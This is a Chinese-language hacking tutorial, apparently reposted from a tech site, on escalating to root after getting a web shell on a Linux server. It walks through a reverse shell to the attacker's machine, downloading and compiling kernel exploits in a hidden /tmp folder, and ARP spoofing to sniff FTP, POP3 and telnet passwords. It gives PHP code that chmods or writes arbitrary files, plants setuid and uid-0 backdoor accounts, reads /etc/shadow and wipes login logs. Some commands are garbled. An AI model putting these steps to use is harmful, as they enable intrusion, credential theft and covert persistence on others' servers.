linux 权限多设的比较松的其实, 但有的虚拟机还是不能跨目录访问的. 在提不了权的情况下, 试试如下代码吧. 运气好的话说不定就跨过去了.
写个 php 一句话后门上去:
- [jobcruit@wa64-054 rankup_log]$ echo -e "" >rankuplog_time.php
- [jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php
1,linux 的想着先跨站
shell 浏览目标站不行, 命令行下输入:
ls -la /www.users/
2, 溢出提权
# python -c 'impotr pty;pty.spawn("/bin/sh");
来得到交互的 Shell, 一般的系统都默认安装 python
输入 id
- bash-3.2$ id
- uid=529(zeicom) gid=525(zeicom) groups=525(zeicom)
- bash-3.2$
这里 uid=529(zeicom)还不是 root 权限,
输入 uname -r
返回: 2.6.18-164.11.1.el5PAE
Linux 提权大致可分为, 第三方软件漏洞, 本地信任特性, 内核溢出
找对应的 exp, 这里地址整理很齐全可以这里下
- http://tools.90sec.org/
- http://sebug.net/paper/linux_exp/
- http://x73.cc/bitch/exp/
- http://www.exploit-db.com/search/
命令输入 pwd, 这个命令是显示当前目录,
先看能不能编译 gcc -help
当前目录就是 shell 的目录, 我在 shell 上传 2.c
反弹 shell 到外网自己机器的 12345 端口
上外网服务器 本地监听 nc -lvvp 12345
一般都能得到一个 apache 交互的 shell 有时候又不行
这时候
# python -c 'impotr pty;pty.spawn("/bin/sh");'
cd /tmp 进入 tmp 目录
mkdir Papers 创建一个 Papers 的目录 Papers 不显眼
cd Papers 进入 Papers 目录
pwd 查看当前目录
然后命令输入
wget 下载 exp
- gcc -o 2 2.c // 把 2.c 编译成可执行文件 g++ keio.cc -o keio
- chmod +x 2 // 给 2 有执行权限
- ./2 // 执行 2, 溢出
gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
确定 arpsniffer.c 需要先装 pcap 和 libnet.
- rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm
- wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0
- tar zxvf libpcap-0.8.1.tar.gz
- cd libpcap-0.8.1
- ./configure
- make
- make install
重新编译 arpsniffer.c
gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet
这次没报错, 编译成功.
./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254
下面开始欺骗, 由于是服务器端, 因此我们欺骗网关:(网络环境如下, 邮件服务器 ip:192.168.0.11 网关: 192.168.0.1 本机: 192.168.0.77)
./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110
在另一个登录里面用 tcpdump 监听下
tcpdump -i eth0 host 192.168.0.11
发现有数据, 把监听的数据存在文件里面:
tcpdump -i eth0 host 172.16.0.12 -w pop.txt
10 分钟后停止, 在 SecureCRT 下用 sz 命令下载 pop.txt 到本地, 然后用 Ethereal 分析.
下面我们就可以用 linsniffer 监听我们想要的用户名和密码了.
先修改 linsniffer.c: 根据自己的需求监听相应的应用密码. 我的如下:
- if(ntohs(tcp->dest)==21) p=1; /* ftp */
- if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/
- if(ntohs(tcp->dest)==23) p=1; /* telnet */
- if(ntohs(tcp->dest)==80) p=1; /* http */
- if(ntohs(tcp->dest)==110) p=1; /* pop3 */
- if(ntohs(tcp->dest)==513) p=1; /* rlogin */
- if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
- [root@bbs111 root]# gcc -o linsniffer linsniffer.c
In file included from /usr/include/linux/tcp.h:21,
- from linsniffer.c:32:
- /usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include instead!
不用管警告, 直接运行编译后的 linsniffer 即可.
[root@bbs111 root]# ./linsniffer
用户名和密码都自动存到了 tcp.log 下.
3, 利用跨站代码
linux 不提权跨目录访问的代码
linux 权限多设的比较松的其实, 但有的虚拟机还是不能跨目录访问的.
在提不了权的情况下, 试试如下代码吧. 运气好的话说不定就跨过去了.
代码如下:
- $path = stripslashes($_GET['path']);
- $ok = chmod ($path , 0777);
- if ($ok == true)
- echo CHMOD OK , Permission editable file or directory. Permission to write;
- ?>
把上面代码保存为 tmdsb.PHP
然后访问 http://www.tmdsb.com/tmdsb.php?path=../../ 要跨的目录 / index.php
这里的 index.PHP 是要修改权限的文件.
收集的另一个 exp:
把下面的代码保存为 exp.PHP
代码:
- @$filename = stripslashes($_POST['filename']);
- @$mess = stripslashes($_POST['mess']);
- $fp = @fopen({$_POST['filename']}, 'a');
- @fputs($fp,$mess
- );
- @fclose($fp);
- ?>
4.2.618 最终 Linux Kernel <2.6.19 udp_sendmsg Local Root Exploit (x86/x64)这个 0day 溢出成功
udev 提权
换了个 udev 提权, 适用于内核范围为 2.6.*.
还是上传文件至服务器 shell 所在目录, 执行命令 ls, 发现文件已经躺在那里面了, 之后赋予 exp 执行权限.
- chmod +x pwnkernel.c
- chmod +x wunderbar_emporium.sh
- chmod +x exploit.c
之后执行溢出./w*
成功溢出, root 权限.
之后就是留下一个后门~ 添加一个 root 权限用户俺也不介意...(useradd -u 0 -o "username")
依次输入命令
- cd /tmp
- sh-3.1# ls /lib/ld-linux*
/lib/ld-linux.so.2
- sh-3.1# cp /lib/ld-linux.so.2 /tmp/.str1ven
- sh-3.1# ls -l .str1ven
-rwxr-xr-x 1 root root 121684 07-08 21:13 .str1ven
- sh-3.1# chmod +s .str1ven
- sh-3.1# ls -l .str1ven
-rwsr-sr-x 1 root root 121684 07-08 21:13 .str1ven
成功建立一个后门, 退出 root, 执行./.str1ven `which whoami`, 又成功获取 root 权限~~
cat /etc/passwd 查看 linux 用户
cat /etc/shadow 查看用户密码需要 root 权限
cat /etc/sysconfig/network-scripts/ifcfg-ethn N 代表网卡号 查看所在网卡的 ip 信息
ifconfig 查看本机 ip 信息
cat /etc/resolv.conf 查看 DNS 信息
bash -i 在反弹的 shell 中使用可以直观显示命令
bash prompt: 当你以普通限权用户身份进入的时候, 一般你会有一个类似 bash$ 的 prompt. 当你以
Root 登陆时, 你的 prompt 会变成 bash#.
系统变量 : 试着 echo "$USER / $EUID" 系统应该会告诉你它认为你是什么用户.
echo 1>/proc/sys/net/ipv4/if_forward 是不是你写错了, 应该是 echo 1>/proc/sys/net/ipv4/ip_forward,
vim /proc/sys/net/ipv4/ip_forward 吧, 默认是 0, 也就是内核不进行数据包过滤, 改为 1 , 让内核对数据包进行 filter 处理!
netstat -an |grep LISTEN |grep :80 查看端口
- service --status-all | grep running
- service --status-all | grep http
查看运行服务
lsb_release -a 查看系统版本
重启 ssh 服务 :
- /usr/sbin/sshd stop/
- usr/sbin/sshd start
ssd_config 文件里
PasswordAuthentication no,
将其改为
PasswordAuthentication yes
远程 ssh 才可登录
否则显示 Access denied
其中 Usepam yes 可能用来建立 pam 方式 login, 比如从其它 linux 主机 ssh 到服务端, 如果关闭, 则不能打开.
su 的菜鸟用法
先 chomod 777 /etc/passwd
然后修改 bin 用户的 gid 和 uid 为 0
然后 passwd 设置 bin 的密码
然后 cp /bin/bash /sbin/nologin
然后 su 的时候 su - bin 就可以到 rootshell 了.
这个原理就是当 ssh 不允许 root 用 ssh 终端登陆的时候, 我们又不知道 root 密码的一种很菜鸟的做法.
还可以这样
sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd
gcc prtcl2.c -o local -static -Wall
- echo "nosec:x:0:0::/:/bin/sh" >> /etc/passwd
- echo "nosec::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
清空 last 记录 cp /dev/null /var/log/wtmp
-----
dd if=/dev/zero of=yourfile bs=10M count=10 建立一个 100m 的大文件在利用 Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit 提权的时候要用到的
/etc/init.d/ssh start 开 22 端口
/etc/ssh/sshd_config SSH 服务配置文件
来源: http://os.51cto.com/art/201805/571974.htm